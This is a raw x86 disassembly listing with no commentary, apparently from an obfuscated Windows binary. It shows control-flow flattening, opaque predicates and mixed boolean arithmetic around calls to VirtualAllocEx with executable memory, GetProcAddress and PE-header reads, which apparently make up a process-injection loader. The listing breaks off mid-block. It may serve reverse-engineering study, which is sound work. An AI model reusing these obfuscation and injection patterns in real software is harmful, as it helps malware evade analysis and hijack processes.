mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
or ah, al
xor cl, 1
or cl, dl
mov edx, ecx
xor cl, 1
and dl, al
xor al, 1
and cl, al
mov al, ah
or cl, dl
mov edx, 0x15e5ff13
xor al, cl
test ah, 1
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, 1
mov eax, 0x15e5ff13
jmp 0x40d21c
mov eax, 0xc71288ac
jmp 0x402a30
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8 + 0x10]
mov dword [ebp - 0xf8], eax
mov eax, 0x922d80cc
jmp 0x402a30
mov eax, 0x37009434
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xeb25ecbd
and edx, 0x14da1342
or eax, edx
mov edx, ecx
xor edx, 0xfffffffe
mov esi, eax
xor eax, 0x14da1342
and edx, ecx
xor esi, 0xc2056434
mov ebx, edx
or eax, 1
not ebx
and esi, 0xc6877476
and edx, 0xc6877477
mov edi, eax
or eax, ebx
and edi, 0x39788b88
and ebx, 0x39788b88
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0xe49f0715
or eax, edx
mov edx, eax
not edx
and eax, ecx
andn ecx, ecx, edx
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
sete ch
setne cl
cmp dword [0x492380], 0xa
mov al, ch
setl dl
setge ah
xor al, ah
and cl, dl
or dl, ch
and ah, ch
or cl, ah
xor dl, 1
mov ah, al
or dl, cl
xor ah, 1
mov ecx, edx
mov ch, dl
not cl
and cl, dl
xor cl, 1
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov ch, al
mov edx, ecx
and ch, ah
xor ch, 1
xor dl, 1
or ch, ah
mov ah, dl
and ah, cl
xor ch, 1
xor ah, 1
or ch, al
or ah, cl
xor ah, 1
or ah, dl
or dl, al
xor ah, ch
mov al, dl
mov ecx, 0x84c54f8b
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0x84c54f8b
cmovne edx, ecx
test ah, 1
jmp 0x412735
mov eax, 0x61c30da9
jmp 0x402a30
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xf41f8bc8
mov eax, ecx
and eax, 0x501b80c0
and edx, ecx
not ecx
mov esi, ecx
and esi, 0xa4040b08
mov ebx, edx
not ebx
and edx, 0x6a17f4c2
or eax, esi
mov esi, eax
xor esi, 0x401380c0
xor eax, 0xafe47f3f
mov edi, eax
or eax, ebx
and ebx, 0x95e80b3d
and edi, 0x95e80b3d
and esi, 0x601780c0
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x66b3684a
or eax, edx
mov edx, eax
not edx
and eax, 0xf41f8bc9
and edx, 0xbe07436
or eax, edx
mov edx, eax
not edx
and eax, 0x3e553c42
and edx, 0xc1aac3bd
or eax, edx
xor eax, 0x3e553c42
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x66e90dd2
and ecx, 0x9916f22d
or eax, ecx
cmp eax, 0x66e90dd2
setne cl
cmp dword [0x492380], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4614da0c
cmovne edx, esi
test al, al
mov eax, 0x4614da0c
jmp 0x410698
mov eax, dword [ebp - 0x84]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
mov eax, 0x9895ee6f
jmp 0x402a30
cmp byte [ebp - 0x75], 0
mov eax, 0x70ade4d
mov ecx, 0x9bd3b416
cmovne eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, 0x14672a43
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xf690e552
mov esi, ecx
and esi, 0x96f1aad
mov edi, ecx
or edi, 0xc2019880
and ecx, 0x452675d2
or edx, esi
and edi, 0xcb1f98f1
mov esi, edx
xor edx, 0x11880
xor esi, 0x806000
or edx, 0x91e0071
and esi, 0xc0600c
and edx, 0xcb1f98f1
or esi, edx
mov edx, eax
and edx, 0x34200702
and eax, 0xbad98a2d
or edx, edi
or eax, ecx
xor edx, esi
mov esi, edx
not esi
and edx, 0xc2c1f88d
and esi, 0x3d3e0772
or edx, esi
mov ecx, edx
not ecx
and edx, 0x464886d
mov esi, ecx
and esi, 0xfb9b7792
or edx, esi
mov esi, eax
xor esi, 0x40882d
xor eax, 0x41027592
and eax, 0xfb9b7792
and esi, 0x464886d
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0x4a00d14d
setne dl
sete cl
cmp dword [0x492380], 0xa
mov ch, dl
setge al
setl ah
and al, cl
or cl, ah
and ch, ah
xor ah, dl
mov edx, ecx
or al, ch
xor dl, ah
or ah, cl
xor ah, 1
or ah, dl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor ah, dl
or dl, al
or cl, ch
xor dl, 1
xor cl, al
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x12abcd5d
cmovne esi, eax
test dl, 1
mov eax, 0x4a00d14d
cmovne eax, esi
jmp 0x410e54
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0x94ec3145
and ecx, 0x6b13ceba
or ecx, eax
mov eax, edx
not eax
and edx, 0xb78ee605
mov esi, eax
and esi, 0x487119fa
or edx, esi
mov esi, ecx
xor esi, 0x2302c601
xor ecx, 0x94ec3144
or eax, ecx
and ecx, 0x487119fa
and esi, 0xb78ee605
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xd81b6f1d
and edx, 0x27e490e2
or edx, esi
mov esi, ecx
not esi
and ecx, 0x27e490e2
or eax, esi
and esi, 0xd81b6f1d
or ecx, esi
not eax
mov esi, 0xe5adf0f3
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd4a5e024
and ecx, 0x2b5a1fdb
or eax, ecx
mov ecx, eax
xor ecx, 0xd0a48020
xor eax, 0x281a1cd1
and eax, 0x2c1b7cd5
and ecx, 0xd3e4832a
or ecx, eax
xor ecx, 0xd3e4832a
sete dl
setne al
cmp dword [0x492380], 0xa
setge ah
setl cl
xor al, ah
or ah, dl
and al, dl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, dl
xor al, 1
xor ah, cl
or cl, dl
or al, ch
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
not dl
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
mov ecx, eax
xor dl, 1
xor cl, 1
or dl, ah
mov ah, al
and cl, dl
xor dl, 1
xor ah, dl
and dl, al
or dl, cl
and ah, al
mov ecx, 0x90df38ee
mov al, dl
xor al, ah
test dl, 1
mov edx, 0x90df38ee
cmovne ecx, esi
test ah, 1
cmove ecx, edx
test al, 1
cmovne ecx, esi
mov eax, ecx
jmp 0x402a30
mov eax, 0x6decdc92
jmp 0x402a30
cmp dword [ebp - 0xe0], 0
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
setne byte [ebp - 0x74]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0x3c2682c7
not edx
mov esi, edx
and ecx, eax
and esi, 0x3c2682c7
and edx, 0x8235a313
and eax, 0x7dca5cec
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x3c2682c6
xor eax, 0x7dca5cec
and esi, 0xc3d97d39
or ecx, esi
mov esi, 0x384779c6
not ecx
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x492380], 0xa
setl cl
setge ch
mov al, cl
and cl, ah
or al, dl
and dl, ch
xor ch, ah
xor al, 1
or cl, dl
or al, ch
mov ah, cl
xor ah, al
xor al, 1
mov edx, eax
or al, cl
xor ah, 1
xor al, 1
xor dl, cl
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe77ec575
cmovne eax, esi
test dl, dl
not cl
mov edx, 0xe77ec575
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x402a30
mov eax, dword [ebp - 0x44]
mov dword [eax], 0x40
mov eax, 0xfe65aa6d
jmp 0x402a30
mov eax, dword [ebp - 0x54]
mov ecx, dword [0x492384]
mov eax, dword [eax]
mov dword [ebp - 0x190], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x5afd7449
mov esi, ecx
and esi, 0xa5028bb6
or ecx, 0x28019a91
or edx, esi
and ecx, 0xfc559f91
mov esi, edx
xor edx, 0x20008a90
xor esi, 0x2282008
or edx, 0xd4540500
and esi, 0x22a202c
and edx, 0xfc559f91
or esi, edx
mov edx, eax
and edx, 0x1804042
or edx, ecx
xor edx, esi
mov esi, 0x5059ec69
mov ecx, edx
not ecx
and edx, 0x2a2bbabc
and ecx, 0xd5d44543
or edx, ecx
mov ecx, edx
not ecx
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
sete dl
setne ah
cmp dword [0x492380], 0xa
setge cl
mov al, cl
and cl, dl
inc al
mov ch, al
xor ch, ah
and ah, al
or al, dl
xor ch, 1
xor al, 1
or cl, ah
or al, ch
mov ah, cl
mov edx, eax
xor ah, 1
not dl
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0xe49f0715
xor cl, al
test al, al
cmovne edx, esi
test ah, 1
mov eax, 0xe49f0715
cmovne edx, eax
test cl, 1
jmp 0x410038
mov eax, 0xfd85c551
jmp 0x402a30
mov eax, 0x1f8b44fd
jmp 0x402a30
cmp byte [ebp - 0x7e], 0
mov eax, 0x374f2e54
mov ecx, 0x69299cf4
cmovne eax, ecx
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xa
mov eax, 0x72080079
jmp 0x402a30
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0xa7e3747c
mov ecx, edx
and ecx, 0x581c8b82
and edx, 0x2946d098
or esi, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor esi, 0xa7e3747c
and eax, 0xd6b92f67
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xc58e5549
and esi, 0x3a71aab6
or ecx, esi
mov esi, ecx
xor esi, 0x84044541
xor ecx, 0x3a71aab6
mov edx, ecx
and edx, 0x79cb9aa8
and esi, 0x86346557
or esi, edx
mov edx, eax
xor edx, 0x86302547
xor eax, 0x2946d098
or ecx, eax
and eax, 0x79cb9aa8
and edx, 0x86346557
or edx, eax
not ecx
xor edx, esi
mov esi, 0xe937d808
or ecx, edx
cmp ecx, 0xffffffff
sete cl
cmp dword [0x492380], 0xa
setl al
mov edx, eax
xor al, cl
or dl, cl
mov ah, dl
xor ah, 1
or ah, al
and al, dl
xor al, 1
mov cl, ah
xor cl, al
or al, ah
mov edx, eax
xor dl, cl
mov edx, 0x7e5a1145
cmovne edx, esi
test al, al
mov eax, 0x7e5a1145
jmp 0x410698
mov eax, dword [0x492384]
mov ebx, 0xe9562a77
mov edi, 0xe9562a77
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xd9765274
and ecx, 0x2689ad8b
or ecx, edx
mov eax, ecx
xor ecx, 0x24008d88
xor eax, 0xd9765274
mov edx, eax
and ecx, 0xa4628dfc
and edx, 0x5b9d7203
and eax, 0x8ae49f67
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0x5b9d7203
xor esi, 0xd179ed64
xor edx, 0xa462896c
and esi, ecx
and edx, 0xfeee9b6e
or eax, esi
mov esi, eax
not esi
and eax, 0x43a8bcc6
and esi, 0xbc574339
or eax, esi
mov esi, ecx
and esi, 0x1116491
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0x1e460823
xor esi, 0x12000
or ecx, edx
mov edx, eax
xor edx, 0x36920007
and esi, 0xe0a9b34c
xor eax, 0xc94c23a0
and ecx, 0x1f564cb3
and edx, 0xf6960227
or ecx, esi
mov esi, eax
and esi, 0x969fdd8
or edx, esi
mov esi, ecx
xor esi, 0x16160023
xor ecx, 0xe0a9b34c
or eax, ecx
and ecx, 0x969fdd8
and esi, 0xf6960227
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0x92ba5774
mov ecx, eax
not ecx
and eax, 0xa0f69821
and ecx, 0x5f0967de
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5cac7cd7
and ecx, 0xa3538328
or eax, ecx
mov ecx, eax
xor ecx, 0x2050b00
xor eax, 0xa04884b2
and eax, 0xa1e894bb
and ecx, 0x5e176b44
or ecx, eax
mov eax, ecx
xor eax, 0x10100
xor ecx, 0x10880a1
and ecx, 0x5f1eeae5
and eax, 0xa0e1151a
or eax, ecx
xor eax, 0xa0e1151a
sete dl
setne ah
cmp dword [0x492380], 0xa
mov ch, dl
setl cl
setge al
xor ch, cl
or cl, dl
xor ah, al
or al, dl
xor cl, 1
and ch, dl
xor al, 1
or al, ch
or cl, ah
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, al
mov eax, ebx
cmovne eax, edi
test dl, dl
cmovne eax, ebx
jmp 0x402a30
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov dword [eax], 0
mov eax, 0xdbd8e6e9
jmp 0x402a30
mov eax, 0x82be4b37
jmp 0x402a30
mov eax, 0x3c7102b8
jmp 0x402a30
mov eax, dword [ebp - 0xcc]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 0xef9f959
jmp 0x402a30
mov eax, dword [ebp - 0x54]
mov eax, 0x84c54f8b
jmp 0x402a30
mov eax, dword [ebp - 0x5c]
mov eax, 0xc3074492
jmp 0x402a30
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx + eax*4]
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x7fd840b8
and ecx, 0xd3c4e598
mov eax, edx
and eax, 0x8027bf47
and edx, 0x2c3b1a67
or esi, eax
or ecx, edx
mov eax, esi
not eax
and esi, 0xfc49a184
mov edx, ecx
xor edx, 0x43408080
xor ecx, 0x2c3b1a67
and eax, 0x3b65e7b
and edx, 0x435892e1
or esi, eax
mov eax, esi
xor eax, 0x6828612c
xor esi, 0x81101c83
and esi, 0x95569c93
and eax, 0x6aa9636c
or eax, esi
mov esi, eax
xor esi, 0x42080260
xor eax, 0x95569c93
mov edi, eax
or eax, ecx
and ecx, 0xbca76d1e
and edi, 0xbca76d1e
and esi, 0x435892e1
or esi, edi
or edx, ecx
not eax
xor edx, esi
or eax, edx
mov ecx, eax
not ecx
and eax, 0x1c0c6a5e
and ecx, 0xe3f395a1
or eax, ecx
mov ecx, dword [ebp - 0x60]
xor eax, 0x1c0c6a5e
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
cmp dword [eax], 0
mov eax, dword [0x492384]
lea edx, [eax + 1]
setne byte [ebp - 0x7a]
imul edx, eax
mov ecx, edx
xor ecx, 0x20a49a61
mov eax, edx
and eax, 0x801060
and ecx, edx
not edx
and edx, 0x20248a01
mov esi, ecx
not esi
and ecx, 0x83c9a0f2
or eax, edx
mov edx, eax
xor edx, 0x800060
xor eax, 0xff7fef9f
mov edi, eax
or eax, esi
and esi, 0x7c365f0d
and edi, 0x7c365f0d
and edx, 0x808060
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc43c374a
and ecx, 0x3bc3c8b5
or eax, ecx
mov esi, eax
xor esi, 0xc0908123
xor eax, 0x1b6752d4
mov ecx, eax
and ecx, 0x240b3ccc
and esi, 0xdbf4c333
or eax, 0xbecf71e
or esi, ecx
mov edx, eax
not edx
and eax, 0xf41308e0
mov ecx, esi
xor ecx, 0xdbf4c333
xor esi, 0x4032040
mov edi, ecx
and edi, 0xbecf71e
or ecx, 1
and esi, 0xc653a370
or edx, edi
and ecx, 0x39ac5c8f
and edx, 0xbecf71f
or ecx, esi
or edx, eax
mov esi, edx
not esi
and edx, 0x1b87d596
mov eax, esi
and eax, 0xe4782a69
or edx, eax
mov eax, ecx
xor eax, 0x19845486
xor ecx, 0xc653a370
or esi, ecx
and ecx, 0xe4782a69
and eax, 0x1b87d596
or eax, ecx
not esi
xor eax, edx
or esi, eax
mov eax, esi
xor eax, 0xdecdae58
and eax, esi
not esi
and esi, 0xdecdae58
or eax, esi
mov esi, 0x68e5c2bb
mov ecx, eax
not ecx
and eax, 0x8f88b4d2
and ecx, 0x70774b2d
or eax, ecx
mov ecx, eax
xor ecx, 0x5041180a
xor eax, 0x6808144
and ecx, 0xf87b7c3b
and eax, 0x78483c4
or eax, ecx
mov ecx, eax
xor ecx, 0x510828
xor eax, 0x4008044
and eax, 0xfc2af457
and ecx, 0x3d50ba8
or ecx, eax
xor ecx, 0x3d50ba8
sete dl
setne cl
cmp dword [0x492380], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x68e5c2bb
mov al, ah
xor al, dl
test dl, dl
mov edx, 0x2c9247dc
cmovne ecx, edx
test ah, ah
cmove ecx, esi
test al, al
jmp 0x40d73f
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x432705c8
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xbcd8fa37
and ecx, 0x432705c8
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0x1592694
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0xfea6d96a
or ecx, esi
mov esi, edx
not esi
and edx, 0x1592695
or eax, esi
and esi, 0xfea6d96a
or edx, esi
not eax
mov esi, 0xe836ea1a
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x413fc3ea
and ecx, 0xbec03c15
or eax, ecx
xor eax, 0x413fc3ea
sete dl
setne cl
cmp dword [0x492380], 0xa
mov ch, dl
setge ah
setl al
and ch, ah
xor ah, dl
and cl, al
or al, dl
mov dl, ah
or cl, ch
xor dl, al
or al, ah
not al
or al, dl
mov edx, 0xcd7ade17
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov ecx, 0xcd7ade17
cmove edx, esi
cmovne edx, ecx
jmp 0x412733
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov edx, eax
xor edx, 0x1a79b268
mov ecx, eax
not ecx
and edx, eax
or eax, 0xe5864d97
mov esi, ecx
and esi, 0xa019068
mov ebx, edx
not ebx
mov edi, eax
and edi, 0x75f86603
and edx, 0x8a0799fc
or eax, ebx
and ebx, 0x75f86603
or esi, edi
or edx, ebx
not eax
xor edx, esi
or eax, edx
not edx
and edx, 0xa5864d97
and eax, 0x5a79b268
or eax, edx
mov edx, eax
not edx
and eax, 0x4154795b
and edx, 0xbeab86a4
or eax, edx
xor eax, 0x4154795b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcf22f0a8
and ecx, 0x30dd0f57
or eax, ecx
xor eax, 0xcf22f0a8
mov dword [ebp - 0x1a0], eax
mov eax, 0xad27e868
jmp 0x402a30
mov ecx, dword [0x492384]
mov edi, 0x171e7a45
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xa4fd4db1
and edx, 0x5b02b24e
or edx, esi
mov esi, ecx
not esi
and ecx, 0x5b02b24e
or eax, esi
and esi, 0xa4fd4db1
or ecx, esi
not eax
mov esi, 0xb2058825
xor ecx, edx
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x492380], 0xa
setl cl
mov edx, ecx
xor cl, al
and dl, al
xor cl, dl
mov eax, ecx
cmovne esi, edi
not al
test al, dl
mov eax, 0xb2058825
cmove esi, eax
cmovne esi, edi
test cl, cl
cmovne esi, edi
mov eax, esi
jmp 0x402a30
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
add eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x98]
mov eax, 0x4578839c
jmp 0x402a30
mov eax, dword [ebp - 0xf8]
push dword [eax]
push dword [ebp - 0xf4]
push dword [ebp - 0xf0]
vzeroupper
call fcn.00431ba0
add esp, 0xc
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x25f4f17f
mov eax, ecx
not eax
and edx, ecx
or ecx, 0xda0b0e80
mov esi, eax
and esi, 0x2520402a
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x58d7bdd5
and edx, 0xa728422a
or ecx, ebx
and ebx, 0x58d7bdd5
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0x4ecb5668
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xc8be82cb
and edx, 0x37417d34
or ecx, edx
mov edx, ecx
xor edx, 0xad4a6025
xor ecx, 0x950402
and ecx, 0x40951792
and edx, 0xbf6ae86d
or edx, ecx
xor edx, 0xbf6ae86d
or edx, eax
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x492380], 0xa
mov al, ah
setge cl
inc cl
xor al, cl
mov ch, cl
and al, dl
or ch, dl
xor dl, cl
or cl, ah
xor al, 1
xor dl, 1
xor cl, 1
mov dh, al
or al, ch
or cl, dl
xor dh, ch
xor al, 1
or al, dh
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xce0211e4
cmovne eax, esi
test dl, 1
mov edx, 0xce0211e4
jmp 0x410e51
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov eax, 0xb442c630
jmp 0x402a30
mov eax, dword [ebp - 0x1c]
mov dword [eax], 5
mov eax, dword [0x492384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0xfffffffe
not eax
mov esi, eax
and edx, ecx
and esi, 0xfffffffe
and ecx, 0xa902d0d9
and eax, 0x56fd2f26
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x56fd2f26
mov edi, esi
and edi, 0xa902d0d9
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xc9f10c09
xor eax, 0xffffffff
sete al
setne dl
cmp dword [0x492380], 0xa
setge cl
setl ah
and ah, dl
and al, cl
or al, ah
mov ah, dl
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
mov edx, eax
or cl, ah
xor cl, 1
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xd67a976c
cmovne ecx, esi
test al, 1
mov esi, 0xd67a976c
jmp 0x410349
cmp byte [ebp - 0x77], 0
mov eax, 0x8048e9c7
mov ecx, 0x9fc49ec3
cmovne eax, ecx
jmp 0x402a30
mov eax, 0x6e0fb0b
jmp 0x402a30
cmp dword [ebp - 0xd4], 0
mov eax, 0xa1f8bbf0
mov ecx, 0xc78278b
cmove eax, ecx
jmp 0x402a30
mov eax, 0x3c07ec19
jmp 0x402a30
mov eax, 0x3e5ff85b
jmp 0x402a30
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x148], eax
mov eax, 0xc9c1bfa2
jmp 0x402a30
mov eax, 0xd751a59e
jmp 0x402a30
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x28]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x64]
mov ecx, dword [0x492384]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x4c800005
mov esi, edx
mov edi, edx
or esi, 0x901142e8
and ecx, 0xdc9142ed
and edi, 0x216aa010
and edx, 0x561eec7
or edi, ecx
mov ecx, eax
and esi, 0xdc9142ed
and ecx, 0x2041d02
and eax, 0xfa9e1138
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xb17be2f9
and esi, 0x4e841d06
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3fd48daf
and esi, 0xc02b7250
or ecx, esi
mov esi, ecx
xor esi, 0x1e400da2
xor ecx, 0xc02b7250
mov edx, ecx
and edx, 0x2197a05d
and esi, 0xde685fa2
or esi, edx
mov edx, eax
xor edx, 0xda081120
xor eax, 0x561eec7
or ecx, eax
and eax, 0x2197a05d
and edx, 0xde685fa2
or edx, eax
not ecx
xor edx, esi
mov esi, 0xc1e39619
or ecx, edx
cmp ecx, 0xffffffff
setne al
cmp dword [0x492380], 0xa
setge dl
setl cl
or dl, al
xor cl, al
mov eax, edx
xor al, cl
or cl, dl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x2d5fd273
cmovne eax, esi
test cl, cl
mov ecx, 0x2d5fd273
jmp 0x40fb36
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x4882161
and eax, 0x101096
mov edx, ecx
or edx, 0x9244208
and esi, 0xdac6369
and ecx, 0xf2438c00
and edx, 0xdac6369
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xfb67ce08
and ecx, 0x49831f7
or eax, ecx
mov ecx, eax
mov edx, eax
not ecx
or edx, 0xb36a2256
mov esi, edx
mov edi, ecx
and esi, 0xb0e57f03
and edi, 0x4c1080a8
or edi, esi
mov esi, eax
xor esi, 0x4c95dda9
and esi, eax
and eax, 0xed9c73fa
mov ebx, esi
not ebx
and esi, 0x4f1a80fc
or edx, ebx
and ebx, 0xb0e57f03
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xe888d632
and esi, 0x177729cd
or edx, esi
mov esi, ecx
and esi, 0x12638c05
and ecx, 1
or esi, eax
xor edx, 0xa41d0b9a
xor esi, 0xed9c73fb
or ecx, esi
mov esi, 0x57b99610
mov eax, ecx
not eax
and ecx, 0x1b7215da
and eax, 0xe48dea25
or ecx, eax
xor ecx, 0x1b7215da
or ecx, edx
mov eax, ecx
xor eax, 0xa3cb9fc
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xf5c34603
and ecx, 0xa3cb9fc
or ecx, eax
setne al
sete cl
cmp dword [0x492380], 0xa
setl dl
and cl, dl
xor al, dl
mov edx, 0xebf5ab8d
xor al, cl
cmovne edx, esi
test al, cl
mov esi, 0xebf5ab8d
jmp 0x40e799
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x5c]
inc eax
mov dword [ecx], eax
mov eax, 0x4050241b
jmp 0x402a30
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x108]
mov eax, 0x2e9ec56d
jmp 0x402a30
mov eax, 0xcd280e7
jmp 0x402a30
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xfc]
cmp ecx, dword [eax]
mov ecx, dword [0x492384]
lea eax, [ecx + 1]
setne byte [ebp - 0x76]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xcb72127d
and eax, 0x348ded82
or ecx, eax
xor ecx, 0xcb72127d
or edx, ecx
mov esi, edx
xor esi, 0x5b3c1152
andn eax, edx, esi
and esi, edx
mov ecx, eax
mov ebx, esi
not ecx
not ebx
and eax, 0x41049084
and esi, 0x41049084
mov edi, ecx
or ecx, ebx
and edi, 0xbefb6f7b
and ebx, 0xbefb6f7b
or eax, edi
or esi, ebx
not ecx
xor esi, eax
mov eax, edx
not eax
and edx, 0x35f738cd
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x52780ba9
and esi, 0xad87f456
or ecx, esi
mov esi, eax
and esi, 0xca08c732
